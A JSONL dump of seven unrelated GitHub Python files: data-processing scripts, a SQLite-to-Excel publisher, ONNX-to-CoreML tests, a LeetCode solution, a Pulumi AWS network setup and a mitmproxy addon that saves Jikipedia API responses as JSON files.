+{"seq_id":"24995106190","text":"import pandas as pd\nimport time\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--batchsize\", help=\"batchsize\", nargs='?', type=int, const=1, default=10)\nargs = parser.parse_args()\ncount = 0\nfor dtfrm_batch in pd.read_csv(\"train.csv\", index_col=0 , chunksize = args.batchsize):\n     print(dtfrm_batch, end='\\n\\n')\n     time.sleep(2)\n     count += 1 \n     #dtfrm_batch.drop(0, inplace=True)\n     dtfrm_batch = dtfrm_batch.iloc[1: , :]\n     dtfrm_batch.to_csv(\"train_batch_\"+str(count) + \".csv\", encoding='utf-8-sig')     \n     data = pd.read_csv(\"train_batch_\"+str(count) + \".csv\") \n     print(data)\n","repo_name":"shreya-pixel/Bigg-data-project-team-machine-learning-with-Spark-ML","sub_path":"streamterminal.py","file_name":"streamterminal.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9126677735","text":"import argparse\nimport pandas as pd\npd.options.display.width = 0\n\nimport sqlite3\nimport sqlalchemy\n\nimport datetime\nimport os\n\nimport warnings\n\n\n######################\n#\n# publish_db.py publishes all or selected parts of a sqlite database, saving the output to an Excel workbook or sqlite database.\n# Each table published from the input database corresponds in the output to a single (Excel) worksheet or single (sqlite) table.\n#\n# Sample parameter sequence:\n#\n#   -i input_db.sqlite -o output_workbook.<xlsx|sqlite> [-t tables.xlsx]\n#\n# Tables file\n#\n#   By default (i.e., if the tables file is not supplied), publish_db.py publishes the entire input database.\n#   The tables file allows you to specify which tables to publish, in what order, and under what names.\n#   It also allows you to specify, for individual tables, which columns to publish, in what order, and under what names.\n#\n#   The tables file consists of one or more worksheets (tabs).\n#\n#   The first worksheet specifies which tables to publish, in what order, and under what names.\n#   It must contain the following columns:\n#\n#   - 'table_name': Lists tables to include, in the desired order\n#   - 'tab_name': Lists alternate labels for tabs.  (To keep original table name, leave blank.)\n#   - 'column_map': References a subsequent worksheet describing how to publish the table's columns.  (To keep original columns, leave blank.)\n#\n#   Each (optional) subsequent worksheet bears the name of a specific output worksheet (or table),\n#   and describes, for that worksheet (or table), which columns to publish, in what order, and under what names.\n#\n#   - 'old_column_name': Lists columns to include, in the desired order\n#   - 'new_column_name': Lists new name to be used for each column.  During publication, publish_db.py will insert a numeric prefix into each of these names.\n#\n######################\n\n\nTABLE_NAME = 'table_name'\nTAB_NAME = 'tab_name'\nCOLUMN_MAP = 'column_map'\nOLD_COLUMN_NAME = 'old_column_name'\nNEW_COLUMN_NAME = 'new_column_name'\nWORKBOOK_STRUCTURE = 'Workbook Structure'\nCOPYRIGHT = 'Copyright'\n\nEXCEL_TAB_NAME_MAX_LEN = 31\n\n\n# Read Excel input file that describes operation to be performed\ndef read_tabs_file():\n\n    df_tabs = None\n    dc_sheets = {}\n\n    workbook = pd.read_excel( args.tabs_filename, dtype=object, sheet_name=None )\n\n    for sheet_name in workbook:\n\n        df = workbook[sheet_name]\n\n        if len( df ):\n\n            # Clean up whitespace and NaN\n            df = df.applymap( lambda x: x.strip() if type(x)==str else x )\n            df = df.fillna( '' )\n\n            # Drop rows with empty first column\n            df = df[df[df.columns[0]] != '' ]\n            df = df.reset_index( drop=True )\n\n            # Prohibit duplicates\n            df_test = df.copy()\n\n            for col in df_test.columns:\n                df_test = df_test[ df_test[col] != '' ]\n                bf_len = len( df_test )\n                df_test = df_test.drop_duplicates( subset=col )\n\n                if len( df_test ) != bf_len:\n                    print( '' )\n                    print( '!!! Duplicates found: sheet \"{}\", column \"{}\"'.format( sheet_name, col ) )\n                    exit()\n\n            # Save as master tabs list or sheet detail\n            if not isinstance( df_tabs, pd.DataFrame ):\n                df_tabs = df\n            else:\n                # Look for table row that references this sheet name as its column map\n                df_sheet_name = df_tabs[ df_tabs[COLUMN_MAP]==sheet_name ]\n                if len( df_sheet_name ):\n                    # Determine output sheet name - either specified tab name or original table name\n                    row = df_sheet_name.iloc[0]\n                    output_sheet_name = row[TAB_NAME] if row[TAB_NAME] != '' else row[TABLE_NAME]\n                    print( sheet_name, '===>', output_sheet_name )\n                    dc_sheets[output_sheet_name] = df\n\n    return df_tabs, dc_sheets\n\n\n# Open the SQLite database\ndef open_database():\n\n    print( '\\nOpening database: ' + args.input_filename )\n\n    print( ' Connecting...' )\n    conn = sqlite3.connect( args.input_filename )\n    cur = conn.cursor()\n\n    engine = sqlalchemy.create_engine( 'sqlite:///' + args.input_filename )\n\n    return conn, cur, engine\n\n\n# Read SQLite database\ndef read_database():\n\n    # Initialize empty tab order dictionary\n    tab_order = {}\n\n    # Open the input database\n    conn, cur, engine = open_database()\n\n    # Fetch names of all tables\n    cur.execute( 'SELECT name FROM sqlite_master WHERE type=\"table\" OR type=\"view\" AND name NOT LIKE \"sqlite_%\";' )\n    rows = cur.fetchall()\n\n    # Built pandas representation of input database\n    print( '' )\n    input_db = {}\n    for row in rows:\n        table_name = row[0]\n\n        if not table_name.startswith( '_About' ):\n\n            # Set default tab name and sort position\n            tab_name = table_name\n            tab_position = len( tab_order.keys() )\n\n            # Look for mapping from table name to tab name\n            if df_tabs is not None:\n\n                # Select the row for current table name\n                table_row = df_tabs[df_tabs[TABLE_NAME] == table_name]\n\n                if len( table_row ):\n                    # Row found; get position and optional tab name\n                    tab_position = table_row.index[0]\n                    tab_name = table_row[TAB_NAME].values[0] or tab_name\n                else:\n                    # Row not found for this table; exclude from output\n                    tab_name = ''\n\n            if tab_name:\n                print( 'Reading table \"{}\" for output as \"{}\" at position {}'.format( table_name, tab_name, tab_position ) )\n                input_db[tab_name] = pd.read_sql_table( table_name, engine, parse_dates=True )\n                tab_order[tab_position] = tab_name\n            else:\n                print( 'Excluding table \"{}\"'.format( table_name ) )\n\n    tab_keys = sorted( tab_order )\n\n    return input_db, tab_order, tab_keys\n\n\n# Edit columns as specified by tab input file\ndef edit_database( input_db, dc_sheets ):\n\n    for sheet_name in input_db:\n\n        if sheet_name in dc_sheets:\n\n            # Select columns to be published\n            input_db[sheet_name] = input_db[sheet_name][dc_sheets[sheet_name][OLD_COLUMN_NAME]]\n\n            # Rename columns to be published\n            dc_rename = dict( zip( dc_sheets[sheet_name][OLD_COLUMN_NAME], dc_sheets[sheet_name][NEW_COLUMN_NAME] ) )\n            input_db[sheet_name] = input_db[sheet_name].rename( columns=dc_rename )\n\n            # Number columns to be published\n            n_cols = len( input_db[sheet_name].columns )\n            num_width = len( str( n_cols ) )\n            col_idx = 0\n            for column_name in input_db[sheet_name].columns:\n                col_idx += 1\n                input_db[sheet_name] = input_db[sheet_name].rename( columns={ column_name: str( col_idx ).zfill( num_width ) + ': ' + column_name } )\n\n            print( '' )\n            print( 'Editing table \"{}\"'.format( sheet_name ) )\n            print( '', 'Selecting columns:' )\n            print( '', list( dc_rename.keys() ) )\n            print( '', 'Publishing as:')\n            print( '', list( input_db[sheet_name].columns ) )\n\n    return input_db\n\n\n# Build dataframe describing workbook structure\ndef build_structure():\n\n    df_structure = pd.DataFrame()\n\n    for tab_key in tab_keys:\n\n        # Retrieve tab name and table\n        tab_name = make_tab_name( tab_key )\n        df_table = input_db[tab_order[tab_key]]\n\n        # Create a single-column dataframe describing the tab\n        df_column = pd.DataFrame( columns=[tab_name], data=pd.Series( df_table.columns ) )\n\n        # Add current tab description to structure dataframe\n        df_structure = df_structure.join( df_column, how='outer' )\n\n    return df_structure\n\n\n# Synthesize copyright worksheet\ndef make_copyright():\n    copyright_notice = '© {} Energize Lawrence.  All rights reserved.'.format( datetime.date.today().year )\n    df_copyright = pd.DataFrame( columns=['copyright'], data=[copyright_notice] )\n    return df_copyright\n\n\n# Save results to output workbook\ndef write_workbook():\n\n    # Open output Excel file\n    with pd.ExcelWriter( args.output_filename, engine='xlsxwriter', engine_kwargs={ 'options': {'strings_to_numbers': True} } ) as writer:\n\n        # Write structure table to Excel\n        print( 'Creating worksheet \"{}\"'.format( WORKBOOK_STRUCTURE ) )\n        df_structure.to_excel( writer, sheet_name=WORKBOOK_STRUCTURE, index=False )\n\n        for tab_key in tab_keys:\n\n            # Get name and dataframe for next tab\n            tab_name = make_tab_name( tab_key )\n            df = input_db[tab_order[tab_key]]\n\n            # Write the dataframe with specified tab name\n            print( 'Creating worksheet \"{}\"'.format( tab_name ) )\n            df.to_excel( writer, sheet_name=tab_name, index=False )\n\n        # Write copyright table to Excel\n        print( 'Creating worksheet \"{}\"'.format( COPYRIGHT ) )\n        df_copyright.to_excel( writer, sheet_name=COPYRIGHT, index=False )\n\n\n# Save results to output database\ndef write_database():\n\n    # Open the database\n    conn = sqlite3.connect( args.output_filename )\n    cur = conn.cursor()\n\n    for tab_key in tab_keys:\n\n        # Get name and dataframe for next table\n        table_name = make_table_name( tab_key )\n        df = input_db[tab_order[tab_key]]\n\n        # Write the table to the database\n        write_table( table_name, df, cur, conn )\n\n    # Add the copyright notice\n    write_table( '_About', make_copyright(), cur, conn )\n\n\n# Save a table to the output database\ndef write_table( table_name, df, cur, conn ):\n\n    print( 'Creating table \"{}\"'.format( table_name ) )\n\n    # Drop table if it already exists\n    cur.execute( 'DROP TABLE IF EXISTS ' + table_name )\n\n    # Fix numeric columns\n    df = fix_numeric_columns( df )\n\n    # Generate SQL command to create table\n    create_sql = 'CREATE TABLE ' + table_name + ' ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE'\n    for col_name in df.columns:\n        sqltype = pdtype_to_sqltype( df, col_name )\n        create_sql += ', \"{0}\" {1}'.format( col_name, sqltype )\n    create_sql += ' )'\n\n    # Create the empty table\n    cur.execute( create_sql )\n\n    # Load data into table\n    warnings.filterwarnings( 'ignore', category=UserWarning, module='pandas' )\n    df.to_sql( table_name, conn, if_exists='append', index=False )\n    warnings.resetwarnings()\n\n\n# Fix numeric columns in specified dataframe\ndef fix_numeric_columns( df ):\n\n    for column_name in df.columns:\n\n        if ( column_name.lower().find( 'zip' ) == -1 ) and df[column_name].dtype == object:\n            df[column_name] = pd.to_numeric( df[column_name], errors='ignore' )\n\n    return df\n\n\n# Map pandas datatype to SQL datatype\ndef pdtype_to_sqltype( df, col_name ):\n\n    if df is None:\n        sqltype = 'TEXT'\n    else:\n        pdtype = str( df[col_name].dtype )\n\n        if pdtype.startswith( 'float' ):\n            sqltype = 'FLOAT'\n        elif pdtype.startswith( 'int' ):\n            sqltype = 'INT'\n        else:\n            sqltype = 'TEXT'\n\n    return sqltype\n\n\n# Generate a tab name, adhering to MS Excel's length restriction\ndef make_tab_name( tab_key ):\n    num_width = len( str( len( tab_order ) ) )\n    tab_name = '{} {}'.format( str( tab_key + 1 ).zfill( num_width ), tab_order[tab_key] )\n    truncated_tab_name = tab_name[:EXCEL_TAB_NAME_MAX_LEN]\n    return truncated_tab_name\n\n\n# Generate a table name, adhering to SQLite constraints\ndef make_table_name( tab_key ):\n    tab_name = make_tab_name( tab_key )\n    table_name = '_'.join( tab_name.split()[1:] )\n    return table_name\n\n\n# Main program\nif __name__ == '__main__':\n\n    # Read arguments\n    parser = argparse.ArgumentParser( description='Generate Excel file from SQLite database' )\n    parser.add_argument( '-i', dest='input_filename',  help='Input filename - Name of SQLite database file', required=True )\n    parser.add_argument( '-o', dest='output_filename',  help='Output filename - Name of Excel workbook or SQLite database', required=True )\n    parser.add_argument( '-t', dest='tabs_filename',  help='Tabs filename - Name of CSV file specifying order and naming tabs in output Excel file' )\n    args = parser.parse_args()\n\n    output_ext = os.path.splitext( args.output_filename )[1]\n    if output_ext == '.xlsx':\n        b_xl = True\n    elif output_ext == '.sqlite':\n        b_xl = False\n    else:\n        print( 'Output file extension \"{}\" is not supported.  Please use \".xlsx\" or \".sqlite\".  '.format( output_ext ) )\n        exit()\n\n    # Report\n    print( '' )\n    print( 'Input filename:', args.input_filename )\n    print( 'Output filename:', args.output_filename )\n\n    # Report and read optional Tabs file\n    if args.tabs_filename != None:\n        print( '' )\n        print( 'Tabs filename:', args.tabs_filename )\n        df_tabs, dc_sheets = read_tabs_file()\n    else:\n        df_tabs = None\n        dc_sheets = {}\n\n\n    # Read database file\n    input_db, tab_order, tab_keys = read_database()\n\n    # Edit tables as specified in Tabs file\n    input_db = edit_database( input_db, dc_sheets )\n\n    # Build self-describing dataframe\n    df_structure = build_structure()\n\n    # Create copyright dataframe\n    df_copyright = make_copyright()\n\n    print( '' )\n\n    if b_xl:\n        # Write Excel workboook\n        write_workbook()\n    else:\n        # Write SQLite database\n        write_database()\n\n    print( '' )\n    print( 'Done' )\n","repo_name":"navkal/el","sub_path":"tools/publish_db.py","file_name":"publish_db.py","file_ext":"py","file_size_in_byte":13514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35455631081","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport unittest\n\nfrom tests._test_utils import _onnx_create_model\nfrom onnx import helper, numpy_helper, ModelProto\nfrom onnx_coreml import convert\nfrom coremltools.proto import NeuralNetwork_pb2 #type: ignore\n\ndef _make_model_clip_exp_topk(): # type: (...) -> ModelProto\n  '''\n  make a very simple model for testing: input->clip->exp->topk->2 outputs\n  '''\n  inputs = [('input0', (10,))]\n  outputs = [('output_values', (3,)), ('output_indices', (3,))]\n  clip = helper.make_node(\"Clip\",\n                          inputs=[inputs[0][0]],\n                          outputs=['clip_out'],\n                          max=10.0, min=5.0)\n  exp = helper.make_node(\"Exp\",\n                        inputs=[clip.output[0]],\n                        outputs=['exp_out'])\n  topk = helper.make_node(\"TopK\",\n                        inputs=[exp.output[0]],\n                        outputs=[outputs[0][0], outputs[1][0]],\n                        axis=0, k=3)\n  return _onnx_create_model([clip, exp, topk], inputs, outputs)\n\ndef _make_model_concat_axis3(): # type: (...) -> ModelProto\n  '''\n  make a simple model: 4-D input1, 4-D input2 -> concat (axis=3)-> output \n  '''\n  inputs = [('input0', (1,3,10,20)), ('input1', (1,3,10,15))]\n  outputs = [('output', (1,3,10,35))]\n  concat = helper.make_node(\"Concat\",\n                            inputs=[inputs[0][0], inputs[1][0]],\n                            outputs=[outputs[0][0]],\n                            axis=3)\n  return _onnx_create_model([concat], inputs, outputs)\n\n\nclass CustomLayerTest(unittest.TestCase):\n\n  def test_unsupported_ops(self):  # type: () -> None\n\n    onnx_model = _make_model_clip_exp_topk()\n    coreml_model = convert(onnx_model, add_custom_layers=True)\n\n    spec = coreml_model.get_spec()\n    layers = spec.neuralNetwork.layers\n    self.assertIsNotNone(layers[0].custom)\n    self.assertIsNotNone(layers[2].custom)\n    self.assertEqual('Clip', layers[0].custom.className)\n    self.assertEqual('TopK', layers[2].custom.className)\n\n\n  def test_unsupported_ops_provide_functions(self):  # type: () -> None\n\n    def convert_clip(node):\n      params = NeuralNetwork_pb2.CustomLayerParams()\n      params.className = node.op_type\n      params.description = \"Custom layer that corresponds to the ONNX op {}\".format(node.op_type, )\n      params.parameters[\"min\"].doubleValue = node.attrs['min']\n      params.parameters[\"max\"].doubleValue = node.attrs['max']\n      return params\n\n\n    def convert_topk(node):\n      params = NeuralNetwork_pb2.CustomLayerParams()\n      params.className = node.op_type\n      params.description = \"Custom layer that corresponds to the ONNX op {}\".format(node.op_type, )\n      params.parameters[\"axis\"].intValue = node.attrs.get('axis', -1)\n      params.parameters[\"k\"].intValue = node.attrs['k']\n      return params\n\n    onnx_model = _make_model_clip_exp_topk()\n    coreml_model = convert(model=onnx_model,\n                           add_custom_layers=True,\n                           custom_conversion_functions={'Clip':convert_clip, 'TopK':convert_topk})\n\n    spec = coreml_model.get_spec()\n    layers = spec.neuralNetwork.layers\n    self.assertIsNotNone(layers[0].custom)\n    self.assertIsNotNone(layers[2].custom)\n    self.assertEqual('Clip', layers[0].custom.className)\n    self.assertEqual('TopK', layers[2].custom.className)\n    self.assertEqual(10.0, layers[0].custom.parameters['max'].doubleValue)\n    self.assertEqual(5.0, layers[0].custom.parameters['min'].doubleValue)\n    self.assertEqual(0, layers[2].custom.parameters['axis'].intValue)\n    self.assertEqual(3, layers[2].custom.parameters['k'].intValue)\n\n\n\n  def test_unsupported_op_attribute(self):  # type: () -> None\n\n    onnx_model = _make_model_concat_axis3()\n    coreml_model = convert(onnx_model, add_custom_layers=True)\n\n    spec = coreml_model.get_spec()\n    layers = spec.neuralNetwork.layers\n    self.assertIsNotNone(layers[0].custom)\n    self.assertEqual('Concat', layers[0].custom.className)\n\n  def test_unsupported_op_attribute_provide_functions(self):  # type: () -> None\n\n    def convert_concat(node):\n      params = NeuralNetwork_pb2.CustomLayerParams()\n      params.className = node.op_type\n      params.description = \"Custom layer that corresponds to the ONNX op {}\".format(node.op_type, )\n      params.parameters[\"axis\"].intValue = node.attrs['axis']\n      return params\n\n    onnx_model = _make_model_concat_axis3()\n    coreml_model = convert(onnx_model, add_custom_layers=True,\n                           custom_conversion_functions={'Concat': convert_concat})\n\n    spec = coreml_model.get_spec()\n    layers = spec.neuralNetwork.layers\n    self.assertIsNotNone(layers[0].custom)\n    self.assertEqual('Concat', layers[0].custom.className)\n    self.assertEqual(3, layers[0].custom.parameters['axis'].intValue)","repo_name":"lkrishnamurthy/onnx","sub_path":"tutorials/examples/venv/lib/python3.6/site-packages/tests/custom_layers_test.py","file_name":"custom_layers_test.py","file_ext":"py","file_size_in_byte":4873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22837769134","text":"class Solution:\n    def kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n        dist = []\n        for x, y in points:\n            dist.append((x**2 + y **2, [x, y]))\n        dist.sort()\n        res = []\n        for i in range(k):\n            res.append(dist[i][1])\n        return res","repo_name":"Aayush65/LeetCodeSolutions","sub_path":"0973-k-closest-points-to-origin/0973-k-closest-points-to-origin.py","file_name":"0973-k-closest-points-to-origin.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9360236983","text":"import tqdm\nimport json\nimport spacy\nimport pandas as pd\n\n# disabled unnecessary spacy NLP pipeline components\ndisabled_pipelines = [\n    \"tok2vec\",\n    \"tagger\",\n    \"parser\",\n    \"lemmatizer\",\n    \"attribute_ruler\",\n]\nadded_pipeline = \"sentencizer\"\nnlp = spacy.load(\"en_core_web_lg\", disable=disabled_pipelines)\nnlp.add_pipe(added_pipeline)\n\n\ndef load_preprocessed_content_store(path_to_gz):\n    \"\"\"\n    Load the preprocessed content store (ppcs) into a DataFrame.\n    You can get the ppcs from 'govuk-data-integration' S3 bucket.\n    \"\"\"\n    print(\"Loading preprocessed content store .gz\")\n    df = pd.read_csv(path_to_gz, compression=\"gzip\", header=0, sep=\"\\t\")\n    print(\"Loaded successfully. Shape: {}\".format(df.shape))\n    return df\n\n\ndef get_base_path_sample_list(base_path_file, col):\n    base_paths_df = pd.read_csv(base_path_file)\n    base_paths_list = list(base_paths_df[col])\n    return base_paths_list\n\n\ndef filter_content_store_by_basepathlist(dataframe, base_path_col, base_path_list):\n    \"\"\"\n    Filter preprocessed content store by base path list.\n    \"\"\"\n    print(\"Shape before filter: {}\".format(df.shape))\n    df_filt = dataframe[dataframe[base_path_col].isin(base_path_list)]\n    print(\"Shape after filter: {}\".format(df_filt.shape))\n    return df_filt\n\n\ndef trim_dataframe(dataframe, columns=[]):\n    \"\"\"\n    Trim a DataFrame to only include columns of interest.\n    \"\"\"\n    cols_before = [i for i in dataframe.columns]\n    df = dataframe[[col for col in columns]]\n    cols_after = [i for i in df.columns]\n    print(\"Columns before trim: {}\".format(cols_before))\n    print(\"Columns after trim: {}\".format(cols_after))\n    return df\n\n\ndef text_to_sents(text):\n    \"\"\"\n    Split a blob of text into sentences using SpaCy function.\n    \"\"\"\n\n    if isinstance(text, float):\n        return []\n\n    doc = nlp(text)\n    assert doc.has_annotation(\"SENT_START\")\n    sent_list = [sent.text.strip() for sent in doc.sents]\n    return sent_list\n\n\ndef text_col_to_sents2(dataframe, text_col, new_col):\n    \"\"\"\n    Turn a text column of a DataFrame into a column of sentences.\n    \"\"\"\n    dataframe[new_col] = dataframe[text_col].apply(lambda x: text_to_sents(x))\n    return dataframe\n\n\ndef text_col_to_sents(df, text_col):\n    \"\"\"\n    Turn a text column of a DataFrame into a column of sentences.\n    \"\"\"\n    return df[text_col].apply(lambda x: text_to_sents(x))\n\n\ndef sentences_to_jsonl(dataframe, sentence_col, meta_cols, outfile):\n    \"\"\"\n    Convert a column containing list of sentences for each row into .jsonl file format for Prodigy.\n    Specify metacols and file path to save .jsonl to.\n    \"\"\"\n    dict_lines = []\n    for i, row in tqdm(dataframe.iterrows()):\n        for sentence in row[sentence_col]:\n            # dict_line = {\"text\": sentence, \"meta\": {\"base_path\": base_path, \"content_id\": c_id}}\n            dict_line = {\"text\": sentence, \"meta\": {i: row[i] for i in meta_cols}}\n            dict_lines.append(dict_line)\n    with open(outfile, \"w\") as jsonlfile:\n        jsonlfile.write(\"\\n\".join(json.dumps(j) for j in dict_lines))\n\n\nif __name__ == \"__main__\":\n\n    import os\n    import time\n    import dask.dataframe as dd\n\n    DIR_STRATA = os.getenv(\"DIR_SRC_STRATA\")\n    DIR_OUTPUT = os.getenv(\"DIR_DATA_PROCESSED\")\n\n    ramdom_schemas_filepath = os.path.join(\n        DIR_STRATA, \"data\", \"schemas_stratified_random_sample.csv\"\n    )\n    ramdom_taxons_filepath = os.path.join(\n        DIR_STRATA, \"data\", \"taxons_stratified_random_sample.csv\"\n    )\n    output_filepath = os.path.join(DIR_OUTPUT, \"sampled_sentences.jsonl\")\n\n    df = load_preprocessed_content_store(\n        path_to_gz=\"/tmp/govukmirror/preprocessed_content_store_250522.csv.gz\"\n    )\n    base_path_schema_list = get_base_path_sample_list(\n        ramdom_schemas_filepath, col=\"base_path\"\n    )\n    base_path_taxon_list = get_base_path_sample_list(\n        ramdom_taxons_filepath, col=\"base_path\"\n    )\n    base_path_list = set(base_path_schema_list + base_path_taxon_list)\n    df_filt = filter_content_store_by_basepathlist(\n        df, base_path_col=\"base_path\", base_path_list=base_path_list\n    )\n    df_trim = trim_dataframe(df_filt, columns=[\"base_path\", \"content_id\", \"text\"])\n\n    print(\"Preprocessing sentences...\")\n    tic = time.perf_counter()\n    ddf = dd.from_pandas(df_trim, npartitions=os.cpu_count())\n    res = ddf.map_partitions(lambda df: text_col_to_sents(df, \"text\"))\n    out = res.compute()\n    df_trim = df_trim.assign(sentences=out)\n    toc = time.perf_counter()\n    print(f\"Preprocessing of sentences - Completed in in {toc - tic:0.4f} seconds\")\n\n    sentences_to_jsonl(\n        df_trim,\n        sentence_col=\"sentences\",\n        meta_cols=[\"base_path\", \"content_id\"],\n        outfile=output_filepath,\n    )\n","repo_name":"alphagov/govuk-content-metadata","sub_path":"src/make_data/make_data.py","file_name":"make_data.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"2179319836","text":"\"\"\"A Python Pulumi program\"\"\"\n\nimport pulumi\nimport pulumi_aws as aws\n\nfrom hub import HubVpc, HubVpcArgs\nfrom spoke import SpokeVpc, SpokeVpcArgs\nfrom spoke_workload import SpokeWorkload, SpokeWorkloadArgs\nfrom firewall_rules import create_firewall_policy\n\nproject = pulumi.get_project()\n\nconfig = pulumi.Config()\nhub_and_spoke_supernet = config.require(\"hub-and-spoke-supernet\")\n\ntgw = aws.ec2transitgateway.TransitGateway(\n    \"tgw\",\n    aws.ec2transitgateway.TransitGatewayArgs(\n        description=f\"Transit Gateway - {project}\",\n        default_route_table_association=\"disable\",\n        default_route_table_propagation=\"disable\",\n        tags={\n            \"Name\": \"Pulumi\"\n        }\n    )\n)\n\n\ninspection_tgw_route_table = aws.ec2transitgateway.RouteTable(\n    \"post-inspection-tgw-route-table\",\n    aws.ec2transitgateway.RouteTableArgs(\n        transit_gateway_id=tgw.id,\n        tags={\n            \"Name\": \"post-inspection\",\n        }\n    ),\n    # Adding the TGW as the parent makes the output of `pulumi up` a little\n    # easier to understand as it groups these resources visually under the TGW\n    # on which they depend.\n    opts=pulumi.ResourceOptions(\n        parent=tgw,\n    ),\n)\n\n\nspoke_tgw_route_table = aws.ec2transitgateway.RouteTable(\n    \"spoke-tgw-route-table\",\n    aws.ec2transitgateway.RouteTableArgs(\n        transit_gateway_id=tgw.id,\n        tags={\n            \"Name\": \"spoke-tgw\",\n        }\n    ),\n    opts=pulumi.ResourceOptions(\n        parent=tgw,\n    ),\n)\n\nhub_tgw_route_table = aws.ec2transitgateway.RouteTable(\n    \"hub-tgw-route-table\",\n    aws.ec2transitgateway.RouteTableArgs(\n        transit_gateway_id=tgw.id,\n        tags={\n            \"Name\": \"hub-tgw-route-table\",\n        }\n    ),\n    opts=pulumi.ResourceOptions(\n        parent=tgw,\n    ),\n)\n\nfirewall_policy_arn = create_firewall_policy(hub_and_spoke_supernet)\n\nhub_vpc = HubVpc(\n    \"hub\",\n    HubVpcArgs(\n        supernet_cidr_block=hub_and_spoke_supernet,\n        vpc_cidr_block=\"10.129.0.0/24\",\n        tgw_id=tgw.id,\n        hub_tgw_route_table_id=hub_tgw_route_table.id,\n        spoke_tgw_route_table_id=spoke_tgw_route_table.id,\n        firewall_policy_arn=firewall_policy_arn,\n    )\n)\n\npulumi.export(\"nat-gateway-eip\", hub_vpc.eip.public_ip)\n\nspoke1_vpc = SpokeVpc(\n    \"spoke1\",\n    SpokeVpcArgs(\n        vpc_cidr_block=\"10.0.0.0/16\",\n        tgw_id=tgw.id,\n        tgw_route_table_id=spoke_tgw_route_table.id,\n    ),\n)\n\naws.ec2transitgateway.RouteTablePropagation(\n    \"hub-to-spoke1\",\n    aws.ec2transitgateway.RouteTablePropagationArgs(\n        transit_gateway_attachment_id=spoke1_vpc.tgw_attachment.id,\n        transit_gateway_route_table_id=hub_tgw_route_table.id,\n    )\n)\n\nspoke1_workload = SpokeWorkload(\n    \"spoke1\",\n    SpokeWorkloadArgs(\n        spoke_instance_subnet_id=spoke1_vpc.workload_subnet_ids[0],\n        spoke_vpc_id=spoke1_vpc.vpc.vpc_id,\n    )\n)\n\n# spoke2_vpc = SpokeVpc(\n#     \"spoke2\",\n#     SpokeVpcArgs(\n#         vpc_cidr_block=\"10.1.0.0/16\",\n#         tgw_id=tgw.id,\n#         tgw_route_table_id=spoke_tgw_route_table.id,\n#     ),\n# )\n\n\n# aws.ec2transitgateway.RouteTablePropagation(\n#     \"hub-to-spoke2\",\n#     aws.ec2transitgateway.RouteTablePropagationArgs(\n#         transit_gateway_attachment_id=spoke2_vpc.tgw_attachment.id,\n#         transit_gateway_route_table_id=hub_tgw_route_table.id,\n#     ),\n# )\n\n\n# spoke2_workload = SpokeWorkload(\n#     \"spoke2\",\n#     SpokeWorkloadArgs(\n#         spoke_instance_subnet_id=spoke2_vpc.workload_subnet_ids[0],\n#         spoke_vpc_id=spoke2_vpc.vpc.vpc_id,\n#     )\n# )\n","repo_name":"pulumi/workshops","sub_path":"aws-advanced-networking/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"16"}
+{"seq_id":"39342433795","text":"import mitmproxy.http\nimport json\nimport time\nimport os\n\nimport re\ndef validateTitle(title):\n    rstr = r\"[\\/\\\\\\:\\*\\?\\\"\\<\\>\\|]\"  # '/ \\ : * ? \" < > |'\n    new_title = re.sub(rstr, \"_\", title)  # 替换为下划线\n    # 去掉字符串中的 回车 和 空格\n    new_title = \"\".join((re.sub(\"\\n\", \" \", new_title)).split(\" \"))\n    return new_title\n\nclass DouyinCrawl:\n    def __init__(self):\n        if not os.path.isdir(\"saveData\"):\n            # 如果目录不存在，则创建保存数据的目录\n            os.mkdir(\"saveData\")\n\n    # 拦截响应\n    def response(self,  flow: mitmproxy.http.HTTPFlow):\n        if 'api.jikipedia.com/go/browse_definitions' in flow.request.url:\n            response = flow.response\n            # 状态码为200，说明响应成功，获取到内容了\n            if response.status_code == 200:\n                data_json = response.text\n                # # json.loads()函数是将json格式数据转换为字典\n                data_obj = json.loads(data_json)\n                if isinstance(data_obj, list):\n                    for item in data_obj:\n                        try:\n                            title =str(item[\"id\"]) + \"_\" + str(item[\"term\"][\"id\"]) + \"_\" + item[\"term\"][\"title\"]\n                            title = validateTitle(title) #使得标题名符合文件命名要求\n                            with open('./saveData/'+ title +'.json', 'w') as f:\n                                # 1、python3里面默认编码是unicode\n                                # 2、python3做dump与dumps操作时，会将中文转换成unicode编码，并以16进制方式存储，再做逆向操作时，会将unicode编码转换回中文\n                                # 即添加参数 ensure_ascii=False，它默认的是Ture\n                                json.dump(item, f,ensure_ascii=False)\n                        except:\n                            pass\naddons = [\n    DouyinCrawl()\n]\n\n","repo_name":"jn7163/Jikipedia_Spider","sub_path":"de_mitmproxy.py","file_name":"de_mitmproxy.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
